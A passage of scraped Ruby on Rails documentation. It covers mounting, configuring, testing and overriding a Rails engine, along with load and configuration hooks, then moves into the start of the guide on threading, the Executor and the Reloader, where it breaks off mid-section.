The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (test/dummy) app/views directory and then in the engine's app/views directory. When it can't find it, it will throw this error. The engine knows to look for blorgh/comments/_comment because the model object it is receiving is from the Blorgh::Comment class.

This partial will be responsible for rendering just the comment text, for now. Create a new file at app/views/blorgh/comments/_comment.html.erb and put this line inside it:

<%= comment_counter + 1 %>. <%= comment.text %>

<%= comment_counter + 1 %>. <%= comment.text %> Copiar

The comment_counter local variable is given to us by the <%= render @article.comments %> call, which will define it automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.

That completes the comment function of the blogging engine. Now it's time to use it within an application.

4 Hooking Into an Application

Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a User class provided by the application to provide ownership for articles and comments within the engine.

4.1 Mounting the Engine

First, the engine needs to be specified inside the application's Gemfile. If there isn't an application handy to test this out in, generate one using the rails new command outside of the engine directory like this:

$ rails new unicorn

rails new unicorn Copiar

Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.

gem 'devise'

gem 'devise' Copiar

However, because you are developing the blorgh engine on your local machine, you will need to specify the :path option in your Gemfile:

gem 'blorgh', path: 'engines/blorgh'

gem 'blorgh', path: 'engines/blorgh' Copiar

Then run bundle to install the gem.

As described earlier, by placing the gem in the Gemfile it will be loaded when Rails is loaded. It will first require lib/blorgh.rb from the engine, then lib/blorgh/engine.rb, which is the file that defines the major pieces of functionality for the engine.

To make the engine's functionality accessible from within an application, it needs to be mounted in that application's config/routes.rb file:

mount Blorgh::Engine, at: "/blog"

mount Blorgh::Engine, at: "/blog" Copiar

This line will mount the engine at /blog in the application. Making it accessible at http://localhost:3000/blog when the application runs with bin/rails server.

Other engines, such as Devise, handle this a little differently by making you specify custom helpers (such as devise_for) in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.

4.2 Engine Setup

The engine contains migrations for the blorgh_articles and blorgh_comments table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application run the following command from the application's root:

$ bin/rails blorgh:install:migrations

bin/rails blorgh:install:migrations Copiar

If you have multiple engines that need migrations copied over, use railties:install:migrations instead:

$ bin/rails railties:install:migrations

bin/rails railties:install:migrations Copiar

This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:

Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh

Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh Copiar

The first timestamp ([timestamp_1]) will be the current time, and the second timestamp ([timestamp_2]) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.

To run these migrations within the context of the application, simply run bin/rails db:migrate. When accessing the engine through http://localhost:3000/blog, the articles will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.

If you would like to run migrations only from one engine, you can do it by specifying SCOPE:

$ bin/rails db:migrate SCOPE=blorgh

bin/rails db:migrate SCOPE=blorgh Copiar

This may be useful if you want to revert engine's migrations before removing it. To revert all migrations from blorgh engine you can run code such as:

$ bin/rails db:migrate SCOPE=blorgh VERSION=0

bin/rails db:migrate SCOPE=blorgh VERSION=0 Copiar

4.3 Using a Class Provided by the Application

4.3.1 Using a Model Provided by the Application

When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the blorgh engine, making articles and comments have authors would make a lot of sense.

A typical application might have a User class that would be used to represent authors for an article or a comment. But there could be a case where the application calls this class something different, such as Person. For this reason, the engine should not hardcode associations specifically for a User class.

To keep it simple in this case, the application will have a class called User that represents the users of the application (we'll get into making this configurable further on). It can be generated using this command inside the application:

$ bin/rails generate model user name:string

bin/rails generate model user name:string Copiar

The bin/rails db:migrate command needs to be run here to ensure that our application has the users table for future use.

Also, to keep it simple, the articles form will have a new text field called author_name, where users can elect to put their name. The engine will then take this name and either create a new User object from it, or find one that already has that name. The engine will then associate the article with the found or created User object.

First, the author_name text field needs to be added to the app/views/blorgh/articles/_form.html.erb partial inside the engine. This can be added above the title field with this code:

<div class="field">
<%= form.label :author_name %><br>
<%= form.text_field :author_name %>
</div>

<div class="field"> <%= form.label :author_name %><br> <%= form.text_field :author_name %> </div> Copiar

Next, we need to update our Blorgh::ArticlesController#article_params method to permit the new form parameter:

def article_params
params.require(:article).permit(:title, :text, :author_name)
end

def article_params params.require(:article).permit(:title, :text, :author_name) end Copiar

The Blorgh::Article model should then have some code to convert the author_name field into an actual User object and associate it as that article's author before the article is saved. It will also need to have an attr_accessor set up for this field, so that the setter and getter methods are defined for it.

To do all this, you'll need to add the attr_accessor for author_name, the association for the author and the before_validation call into app/models/blorgh/article.rb. The author association will be hard-coded to the User class for the time being.

attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
def set_author
self.author = User.find_or_create_by(name: author_name)
end

attr_accessor :author_name belongs_to :author, class_name: "User" before_validation :set_author private def set_author self.author = User.find_or_create_by(name: author_name) end Copiar

By representing the author association's object with the User class, a link is established between the engine and the application. There needs to be a way of associating the records in the blorgh_articles table with the records in the users table. Because the association is called author, there should be an author_id column added to the blorgh_articles table.

To generate this new column, run this command within the engine:

$ bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer

bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer Copiar

Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.

This migration will need to be run on the application. To do that, it must first be copied using this command:

$ bin/rails blorgh:install:migrations

bin/rails blorgh:install:migrations Copiar

Notice that only one migration was copied over here. This is because the first two migrations were copied over the first time this command was run.

NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh

NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh Copiar

Run the migration using:

$ bin/rails db:migrate

bin/rails db:migrate Copiar

Now with all the pieces in place, an action will take place that will associate an author - represented by a record in the users table - with an article, represented by the blorgh_articles table from the engine.

Finally, the author's name should be displayed on the article's page. Add this code above the "Title" output inside app/views/blorgh/articles/show.html.erb:

<p>
<b>Author:</b>
<%= @article.author.name %>
</p>

<p> <b>Author:</b> <%= @article.author.name %> </p> Copiar

4.3.2 Using a Controller Provided by the Application

Because Rails controllers generally share code for things like authentication and accessing session variables, they inherit from ApplicationController by default. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped ApplicationController. This namespace prevents code collisions, but often engine controllers need to access methods in the main application's ApplicationController. An easy way to provide this access is to change the engine's scoped ApplicationController to inherit from the main application's ApplicationController. For our Blorgh engine this would be done by changing app/controllers/blorgh/application_controller.rb to look like:

module Blorgh
class ApplicationController < ::ApplicationController
end
end

module Blorgh class ApplicationController < ::ApplicationController end end Copiar

By default, the engine's controllers inherit from Blorgh::ApplicationController. So, after making this change they will have access to the main application's ApplicationController, as though they were part of the main application.

This change does require that the engine is run from a Rails application that has an ApplicationController.

4.4 Configuring an Engine

This section covers how to make the User class configurable, followed by general configuration tips for the engine.

4.4.1 Setting Configuration Settings in the Application

The next step is to make the class that represents a User in the application customizable for the engine. This is because that class may not always be User, as previously explained. To make this setting customizable, the engine will have a configuration setting called author_class that will be used to specify which class represents users inside the application.

To define this configuration setting, you should use a mattr_accessor inside the Blorgh module for the engine. Add this line to lib/blorgh.rb inside the engine:

mattr_accessor :author_class

mattr_accessor :author_class Copiar

This method works like its siblings, attr_accessor and cattr_accessor, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using Blorgh.author_class.

The next step is to switch the Blorgh::Article model over to this new setting. Change the belongs_to association inside this model (app/models/blorgh/article.rb) to this:

belongs_to :author, class_name: Blorgh.author_class

belongs_to :author, class_name: Blorgh.author_class Copiar

The set_author method in the Blorgh::Article model should also use this class:

self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)

self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) Copiar

To save having to call constantize on the author_class result all the time, you could instead just override the author_class getter method inside the Blorgh module in the lib/blorgh.rb file to always call constantize on the saved value before returning the result:

def self.author_class
@@author_class.constantize
end

def self.author_class @@author_class.constantize end Copiar

This would then turn the above code for set_author into this:

self.author = Blorgh.author_class.find_or_create_by(name: author_name)

self.author = Blorgh.author_class.find_or_create_by(name: author_name) Copiar

Resulting in something a little shorter, and more implicit in its behavior. The author_class method should always return a Class object.

Since we changed the author_class method to return a Class instead of a String, we must also modify our belongs_to definition in the Blorgh::Article model:

belongs_to :author, class_name: Blorgh.author_class.to_s

belongs_to :author, class_name: Blorgh.author_class.to_s Copiar

To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models, which may depend on this configuration setting existing.

Create a new initializer at config/initializers/blorgh.rb inside the application where the blorgh engine is installed and put this content in it:

Blorgh.author_class = "User"

Blorgh.author_class = "User" Copiar

It's very important here to use the String version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table. This could lead to problems if the table didn't already exist. Therefore, a String should be used and then converted to a class using constantize in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in config/initializers/blorgh.rb to learn what the class is.

There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a find_or_create_by method which returns an object of that class, to be associated with an article when it's created. This object, of course, should have some sort of identifier by which it can be referenced.

4.4.2 General Engine Configuration

Within an engine, there may come a time where you wish to use things such as initializers, internationalization, or other configuration options. The great news is that these things are entirely possible, because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!

If you wish to use an initializer - code that should run before the engine is loaded - the place for it is the config/initializers folder. This directory's functionality is explained in the Initializers section of the Configuring guide, and works precisely the same way as the config/initializers directory inside an application. The same thing goes if you want to use a standard initializer.

For locales, simply place the locale files in the config/locales directory, just like you would in an application.

5 Testing an Engine

When an engine is generated, there is a smaller dummy application created inside it at test/dummy. This application is used as a mounting point for the engine, to make testing the engine extremely simple. You may extend this application by generating controllers, models, or views from within the directory, and then use those to test your engine.

The test directory should be treated like a typical Rails testing environment, allowing for unit, functional, and integration tests.

5.1 Functional Tests

A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the test/dummy application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical GET to a controller in a controller's functional test like this:

module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers

def test_index
get foos_url
# ...
end
end
end

module Blorgh class FooControllerTest < ActionDispatch::IntegrationTest include Engine.routes.url_helpers def test_index get foos_url # ... end end end Copiar

It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it how. To do this, you must set the @routes instance variable to the engine's route set in your setup code:

module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers

setup do
@routes = Engine.routes
end

def test_index
get foos_url
# ...
end
end
end

module Blorgh class FooControllerTest < ActionDispatch::IntegrationTest include Engine.routes.url_helpers setup do @routes = Engine.routes end def test_index get foos_url # ... end end end Copiar

This tells the application that you still want to perform a GET request to the index action of this controller, but you want to use the engine's route to get there, rather than the application's one.

This also ensures that the engine's URL helpers will work as expected in your tests.

6 Improving Engine Functionality

This section explains how to add and/or override engine MVC functionality in the main Rails application.

6.1 Overriding Models and Controllers

Engine models and controllers can be reopened by the parent application to extend or decorate them.

Overrides may be organized in a dedicated directory app/overrides that is preloaded in a to_prepare callback.

In zeitwerk mode you'd do this:

# config/application.rb
module MyApp
class Application < Rails::Application
# ...

overrides = "#{Rails.root}/app/overrides"
Rails.autoloaders.main.ignore(overrides)
config.to_prepare do
Dir.glob("#{overrides}/**/*_override.rb").each do |override|
load override
end
end
end
end

# config/application.rb module MyApp class Application < Rails::Application # ... overrides = "#{Rails.root}/app/overrides" Rails.autoloaders.main.ignore(overrides) config.to_prepare do Dir.glob("#{overrides}/**/*_override.rb").each do |override| load override end end end end Copiar

and in classic mode this:

# config/application.rb
module MyApp
class Application < Rails::Application
# ...

config.to_prepare do
Dir.glob("#{Rails.root}/app/overrides/**/*_override.rb").each do |override|
require_dependency override
end
end
end
end

# config/application.rb module MyApp class Application < Rails::Application # ... config.to_prepare do Dir.glob("#{Rails.root}/app/overrides/**/*_override.rb").each do |override| require_dependency override end end end end Copiar

6.1.1 Reopening existing classes using class_eval

For example, in order to override the engine model

# Blorgh/app/models/blorgh/article.rb
module Blorgh
class Article < ApplicationRecord
has_many :comments

def summary
"#{title}"
end
end
end

# Blorgh/app/models/blorgh/article.rb module Blorgh class Article < ApplicationRecord has_many :comments def summary "#{title}" end end end Copiar

you just create a file that reopens that class:

# MyApp/app/overrides/models/blorgh/article_override.rb
Blorgh::Article.class_eval do
def time_since_created
Time.current - created_at
end

def summary
"#{title} - #{truncate(text)}"
end
end

# MyApp/app/overrides/models/blorgh/article_override.rb Blorgh::Article.class_eval do def time_since_created Time.current - created_at end def summary "#{title} - #{truncate(text)}" end end Copiar

It is very important that the override reopens the class or module. Using the class or module keywords would define them if they were not already in memory, which would be incorrect because the definition lives in the engine. Using class_eval as shown above ensures you are reopening.

6.1.2 Reopening existing classes using ActiveSupport::Concern

Using Class#class_eval is great for simple adjustments, but for more complex class modifications, you might want to consider using ActiveSupport::Concern. ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.

Adding Article#time_since_created and Overriding Article#summary:

# MyApp/app/models/blorgh/article.rb

class Blorgh::Article < ApplicationRecord
include Blorgh::Concerns::Models::Article

def time_since_created
Time.current - created_at
end

def summary
"#{title} - #{truncate(text)}"
end
end

# MyApp/app/models/blorgh/article.rb class Blorgh::Article < ApplicationRecord include Blorgh::Concerns::Models::Article def time_since_created Time.current - created_at end def summary "#{title} - #{truncate(text)}" end end Copiar

# Blorgh/app/models/blorgh/article.rb
module Blorgh
class Article < ApplicationRecord
include Blorgh::Concerns::Models::Article
end
end

# Blorgh/app/models/blorgh/article.rb module Blorgh class Article < ApplicationRecord include Blorgh::Concerns::Models::Article end end Copiar

# Blorgh/lib/concerns/models/article.rb

module Blorgh::Concerns::Models::Article
extend ActiveSupport::Concern

# 'included do' causes the included code to be evaluated in the
# context where it is included (article.rb), rather than being
# executed in the module's context (blorgh/concerns/models/article).
included do
attr_accessor :author_name
belongs_to :author, class_name: "User"

before_validation :set_author

private
def set_author
self.author = User.find_or_create_by(name: author_name)
end
end

def summary
"#{title}"
end

module ClassMethods
def some_class_method
'some class method string'
end
end
end

# Blorgh/lib/concerns/models/article.rb module Blorgh::Concerns::Models::Article extend ActiveSupport::Concern # 'included do' causes the included code to be evaluated in the # context where it is included (article.rb), rather than being # executed in the module's context (blorgh/concerns/models/article). included do attr_accessor :author_name belongs_to :author, class_name: "User" before_validation :set_author private def set_author self.author = User.find_or_create_by(name: author_name) end end def summary "#{title}" end module ClassMethods def some_class_method 'some class method string' end end end Copiar

6.2 Overriding Views

When Rails looks for a view to render, it will first look in the app/views directory of the application. If it cannot find the view there, it will check in the app/views directories of all engines that have this directory.

When the application is asked to render the view for Blorgh::ArticlesController's index action, it will first look for the path app/views/blorgh/articles/index.html.erb within the application. If it cannot find it, it will look inside the engine.

You can override this view in the application by simply creating a new file at app/views/blorgh/articles/index.html.erb. Then you can completely change what this view would normally output.

Try this now by creating a new file at app/views/blorgh/articles/index.html.erb and put this content in it:

<h1>Articles</h1>
<%= link_to "New Article", new_article_path %>
<% @articles.each do |article| %>
<h2><%= article.title %></h2>
<small>By <%= article.author %></small>
<%= simple_format(article.text) %>
<hr>
<% end %>

<h1>Articles</h1> <%= link_to "New Article", new_article_path %> <% @articles.each do |article| %> <h2><%= article.title %></h2> <small>By <%= article.author %></small> <%= simple_format(article.text) %> <hr> <% end %> Copiar

6.3 Routes

Routes inside an engine are isolated from the application by default. This is done by the isolate_namespace call inside the Engine class. This essentially means that the application and its engines can have identically named routes and they will not clash.

Routes inside an engine are drawn on the Engine class within config/routes.rb, like this:

Blorgh::Engine.routes.draw do
resources :articles
end

Blorgh::Engine.routes.draw do resources :articles end Copiar

By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as articles_path may end up going to undesired locations if both the application and the engine have such a helper defined.

For instance, the following example would go to the application's articles_path if that template was rendered from the application, or the engine's articles_path if it was rendered from the engine:

<%= link_to "Blog articles", articles_path %>

<%= link_to "Blog articles", articles_path %> Copiar

To make this route always use the engine's articles_path routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.

<%= link_to "Blog articles", blorgh.articles_path %>

<%= link_to "Blog articles", blorgh.articles_path %> Copiar

If you wish to reference the application inside the engine in a similar way, use the main_app helper:

<%= link_to "Home", main_app.root_path %>

<%= link_to "Home", main_app.root_path %> Copiar

If you were to use this inside an engine, it would always go to the application's root. If you were to leave off the main_app "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.

If a template rendered from within an engine attempts to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the main_app prefix from within the engine.

6.4 Assets

Assets within an engine work in an identical way to a full application. Because the engine class inherits from Rails::Engine, the application will know to look up assets in the engine's app/assets and lib/assets directories.

Like all of the other components of an engine, the assets should be namespaced. This means that if you have an asset called style.css, it should be placed at app/assets/stylesheets/[engine name]/style.css, rather than app/assets/stylesheets/style.css. If this asset isn't namespaced, there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be ignored.

Imagine that you did have an asset located at app/assets/stylesheets/blorgh/style.css. To include this asset inside an application, just use stylesheet_link_tag and reference the asset as if it were inside the engine:

<%= stylesheet_link_tag "blorgh/style.css" %>

<%= stylesheet_link_tag "blorgh/style.css" %> Copiar

You can also specify these assets as dependencies of other assets using Asset Pipeline require statements in processed files:

/*
*= require blorgh/style
*/

/* *= require blorgh/style */ Copiar

Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's .gemspec.

6.5 Separate Assets and Precompiling

There are some situations where your engine's assets are not required by the host application. For example, say that you've created an admin functionality that only exists for your engine. In this case, the host application doesn't need to require admin.css or admin.js. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include "blorgh/admin.css" in its stylesheets. In this situation, you should explicitly define these assets for precompilation. This tells Sprockets to add your engine assets when bin/rails assets:precompile is triggered.

You can define assets for precompilation in engine.rb:

initializer "blorgh.assets.precompile" do |app|
app.config.assets.precompile += %w( admin.js admin.css )
end

initializer "blorgh.assets.precompile" do |app| app.config.assets.precompile += %w( admin.js admin.css ) end Copiar

For more information, read the Asset Pipeline guide.

6.6 Other Gem Dependencies

Gem dependencies inside an engine should be specified inside the .gemspec file at the root of the engine. The reason is that the engine may be installed as a gem. If dependencies were to be specified inside the Gemfile, these would not be recognized by a traditional gem install and so they would not be installed, causing the engine to malfunction.

To specify a dependency that should be installed with the engine during a traditional gem install, specify it inside the Gem::Specification block inside the .gemspec file in the engine:

s.add_dependency "moo"

s.add_dependency "moo" Copiar

To specify a dependency that should only be installed as a development dependency of the application, specify it like this:

s.add_development_dependency "moo"

s.add_development_dependency "moo" Copiar

Both kinds of dependencies will be installed when bundle install is run inside of the application. The development dependencies for the gem will only be used when the development and tests for the engine are running.

Note that if you want to immediately require dependencies when the engine is required, you should require them before the engine's initialization. For example:

require "other_engine/engine"
require "yet_another_engine/engine"

module MyEngine
class Engine < ::Rails::Engine
end
end

require "other_engine/engine" require "yet_another_engine/engine" module MyEngine class Engine < ::Rails::Engine end end Copiar

7 Load and Configuration Hooks

Rails code can often be referenced on load of an application. Rails is responsible for the load order of these frameworks, so when you load frameworks, such as ActiveRecord::Base, prematurely you are violating an implicit contract your application has with Rails. Moreover, by loading code such as ActiveRecord::Base on boot of your application you are loading entire frameworks which may slow down your boot time and could cause conflicts with load order and boot of your application.

Load and configuration hooks are the API that allow you to hook into this initialization process without violating the load contract with Rails. This will also mitigate boot performance degradation and avoid conflicts.

7.1 Avoid loading Rails Frameworks

Since Ruby is a dynamic language, some code will cause different Rails frameworks to load. Take this snippet for instance:

ActiveRecord::Base.include(MyActiveRecordHelper)

ActiveRecord::Base.include(MyActiveRecordHelper) Copiar

This snippet means that when this file is loaded, it will encounter ActiveRecord::Base. This encounter causes Ruby to look for the definition of that constant and will require it. This causes the entire Active Record framework to be loaded on boot.

ActiveSupport.on_load is a mechanism that can be used to defer the loading of code until it is actually needed. The snippet above can be changed to:

ActiveSupport.on_load(:active_record) do
include MyActiveRecordHelper
end

ActiveSupport.on_load(:active_record) do include MyActiveRecordHelper end Copiar

This new snippet will only include MyActiveRecordHelper when ActiveRecord::Base is loaded.

7.2 When are Hooks called?

In the Rails framework these hooks are called when a specific library is loaded. For example, when ActionController::Base is loaded, the :action_controller_base hook is called. This means that all ActiveSupport.on_load calls with :action_controller_base hooks will be called in the context of ActionController::Base (that means self will be an ActionController::Base).

7.3 Modifying Code to use Load Hooks

Modifying code is generally straightforward. If you have a line of code that refers to a Rails framework such as ActiveRecord::Base you can wrap that code in a load hook.

Modifying calls to include

ActiveRecord::Base.include(MyActiveRecordHelper)

ActiveRecord::Base.include(MyActiveRecordHelper) Copiar

becomes

ActiveSupport.on_load(:active_record) do
# self refers to ActiveRecord::Base here,
# so we can call .include
include MyActiveRecordHelper
end

ActiveSupport.on_load(:active_record) do # self refers to ActiveRecord::Base here, # so we can call .include include MyActiveRecordHelper end Copiar

Modifying calls to prepend

ActionController::Base.prepend(MyActionControllerHelper)

ActionController::Base.prepend(MyActionControllerHelper) Copiar

becomes

ActiveSupport.on_load(:action_controller_base) do
# self refers to ActionController::Base here,
# so we can call .prepend
prepend MyActionControllerHelper
end

ActiveSupport.on_load(:action_controller_base) do # self refers to ActionController::Base here, # so we can call .prepend prepend MyActionControllerHelper end Copiar

Modifying calls to class methods

ActiveRecord::Base.include_root_in_json = true

ActiveRecord::Base.include_root_in_json = true Copiar

becomes

ActiveSupport.on_load(:active_record) do
# self refers to ActiveRecord::Base here
self.include_root_in_json = true
end

ActiveSupport.on_load(:active_record) do # self refers to ActiveRecord::Base here self.include_root_in_json = true end Copiar

7.4 Available Load Hooks

These are the load hooks you can use in your own code. To hook into the initialization process of one of the following classes use the available hook.

Class

Hook

ActionCable

action_cable

ActionCable::Channel::Base

action_cable_channel

ActionCable::Connection::Base

action_cable_connection

ActionCable::Connection::TestCase

action_cable_connection_test_case

ActionController::API

action_controller_api

ActionController::API

action_controller

ActionController::Base

action_controller_base

ActionController::Base

action_controller

ActionController::TestCase

action_controller_test_case

ActionDispatch::IntegrationTest

action_dispatch_integration_test

ActionDispatch::Response

action_dispatch_response

ActionDispatch::Request

action_dispatch_request

ActionDispatch::SystemTestCase

action_dispatch_system_test_case

ActionMailbox::Base

action_mailbox

ActionMailbox::InboundEmail

action_mailbox_inbound_email

ActionMailbox::Record

action_mailbox_record

ActionMailbox::TestCase

action_mailbox_test_case

ActionMailer::Base

action_mailer

ActionMailer::TestCase

action_mailer_test_case

ActionText::Content

action_text_content

ActionText::Record

action_text_record

ActionText::RichText

action_text_rich_text

ActionView::Base

action_view

ActionView::TestCase

action_view_test_case

ActiveJob::Base

active_job

ActiveJob::TestCase

active_job_test_case

ActiveRecord::Base

active_record

ActiveStorage::Attachment

active_storage_attachment

ActiveStorage::Blob

active_storage_blob

ActiveStorage::Record

active_storage_record

ActiveSupport::TestCase

active_support_test_case

i18n

i18n

7.5 Available Configuration Hooks

Configuration hooks do not hook into any particular framework, but instead they run in context of the entire application.

Hook

Use Case

before_configuration

First configurable block to run. Called before any initializers are run.

before_initialize

Second configurable block to run. Called before frameworks initialize.

before_eager_load

Third configurable block to run. Does not run if config.eager_load set to false.

after_initialize

Last configurable block to run. Called after frameworks initialize.

Configuration hooks can be called in the Engine class.

module Blorgh
class Engine < ::Rails::Engine
config.before_configuration do
puts 'I am called before any initializers'
end
end
end

module Blorgh class Engine < ::Rails::Engine config.before_configuration do puts 'I am called before any initializers' end end end Copiar

Threading and Code Execution in Rails...

1 Automatic Concurrency

Rails automatically allows various operations to be performed at the same time.

When using a threaded web server, such as the default Puma, multiple HTTP requests will be served simultaneously, with each request provided its own controller instance.

Threaded Active Job adapters, including the built-in Async, will likewise execute several jobs at the same time. Action Cable channels are managed this way too.

These mechanisms all involve multiple threads, each managing work for a unique instance of some object (controller, job, channel), while sharing the global process space (such as classes and their configurations, and global variables). As long as your code doesn't modify any of those shared things, it can mostly ignore that other threads exist.

The rest of this guide describes the mechanisms Rails uses to make it "mostly ignorable", and how extensions and applications with special needs can use them.

2 Executor

The Rails Executor separates application code from framework code: any time the framework invokes code you've written in your application, it will be wrapped by the Executor.

The Executor consists of two callbacks: to_run and to_complete. The Run callback is called before the application code, and the Complete callback is called after.

2.1 Default callbacks

In a default Rails application, the Executor callbacks are used to:

- track which threads are in safe positions for autoloading and reloading

- enable and disable the Active Record query cache

- return acquired Active Record connections to the pool

- constrain internal cache lifetimes

Prior to Rails 5.0, some of these were handled by separate Rack middleware classes (such as ActiveRecord::ConnectionAdapters::ConnectionManagement), or directly wrapping code with methods like ActiveRecord::Base.connection_pool.with_connection. The Executor replaces these with a single more abstract interface.

2.2 Wrapping application code

If you're writing a library or component that will invoke application code, you should wrap it with a call to the executor:

Rails.application.executor.wrap do
# call application code here
end

Rails.application.executor.wrap do # call application code here end Copiar

If you repeatedly invoke application code from a long-running process, you may want to wrap using the Reloader instead.

Each thread should be wrapped before it runs application code, so if your application manually delegates work to other threads, such as via Thread.new or Concurrent Ruby features that use thread pools, you should immediately wrap the block:

Thread.new do
Rails.application.executor.wrap do
# your code here
end
end

Thread.new do Rails.application.executor.wrap do # your code here end end Copiar

Concurrent Ruby uses a ThreadPoolExecutor, which it sometimes configures with an executor option. Despite the name, it is unrelated.

The Executor is safely re-entrant; if it is already active on the current thread, wrap is a no-op.

If it's impractical to wrap the application code in a block (for example, the Rack API makes this problematic), you can also use the run! / complete! pair:

Thread.new do
execution_context = Rails.application.executor.run!
# your code here
ensure
execution_context.complete! if execution_context
end

Thread.new do execution_context = Rails.application.executor.run! # your code here ensure execution_context.complete! if execution_context end Copiar

2.3 Concurrency

The Executor will put the current thread into running mode in the Load Interlock. This operation will block temporarily if another thread is currently either autoloading a constant or unloading/reloading the application.

3 Reloader

Like the Executor, the Reloader also wraps application code. If the Executor is not already active on the current thread, the Reloader will invoke it for you, so you only need to call one. This also guarantees that everything the Reloader does, including all its callback invocations, occurs wrapped inside the Executor.

Rails.application.reloader.wrap do
# call application code here
end

Rails.application.reloader.wrap do # call application code here end Copiar

The Reloader is only suitable where a long-running framework-level process repeatedly calls into application code, such as for a web server or job queue. Rails automatically wraps web requests and Active Job workers, so you'll rarely need to invoke the Reloader for yourself. Always consider whether the Executor is a better fit for your use case.

3.1 Callbacks

Before entering the wrapped block, the Reloader will check whether the running application needs to be reloaded -- for example, because a model's source file has been modified. If it determines a reload is required, it will wait until it's safe, and then do so, before continuing. When the application is configured to always reload regardless of whether any changes are detected, the reload is instead performed at the end of the block.

The Reloader also provides to_run and to_complete callbacks; they are invoked at the same points as those of the Executor, but only when the current execution has initiated an application reload. When no reload is deemed necessary, the Reloader will invoke the wrapped block with no other callbacks.

3.2 Class Unload

The most significant part of the reloading process is the Class Unload, where all autoloaded classes are removed, ready to be loaded again. This will occur immediately before either the Run or Complete callback, depending on the reload_classes_only_on_change setting.

Often, additional reloading actions need to be performed either just before or just after the Class Unload, so the Reloader also provides before_class_unload and after_class_unload callbacks.

3.3 Concurrency

Only long-running "top level" processes should invoke the Reloader, because if it determines a reload is needed, it will block until all other threads have completed any Executor invocations.

If this were to occur in a "child" thread, with a waiting parent inside the Executor, it would cause an unavoidable deadlock: the reload must occur before the child thread is executed, but it cannot be safely performed while the parent thread is mid-execution. Child threads should use the Executor instead.

4 Framework Behavior

The Rails framework components use these tools to manage their own concurrency needs too.

ActionDispatch::Executor and ActionDispatch::Reloader are Rack middlewares that wrap requests with a supplied Executor or Reloader, respectively. They are automatically included in the default application stack. The Reloader will ensure any arriving HTTP request is served with a freshly-loaded copy of the application if any code changes have occurred.

Active Job also wraps its job executions with the Reloader, loading the latest code to execute each job as it comes off the queue.

Action Cable uses the Executor instead: because a Cable connection is linked to a specific instance of a class, it's not possible to reload for every arriving WebSocket message. Only the message handler is wrapped, though; a long-running Cable connection does not prevent a reload that's triggered by a new incoming request or job. Instead, Action Cable uses the Reloader's before_class_unload callback to disconnect all its connections. When the client automatically reconnects, it will be speaking to the new version of the code.

The above are the entry points to the framework, so they are responsible for ensuring their respective threads are protected, and deciding whether a reload is necessary. Other components only need to use the Executor when they spawn additional threads.

4.1 Configuration

The Reloader only checks for file changes when cache_classes is false and reload_classes_only_on_change is true (which is the default in the development environment).

When cache_classes is true (in production, by default), the Reloader is only a pass-through to the Executor.

The Executor always has important work to do, like database connection management. When cache_classes and eager_load are both true (production), no autoloading or class reloading will occur, so it does not need the Load Interlock. If either of those are false (development), then the Executor will use the Load Interlock to ensure constants are only loaded when it is safe.

5 Load Interlock

The Load Interlock allows autoloading and reloading to be enabled in a multi-threaded runtime environment.

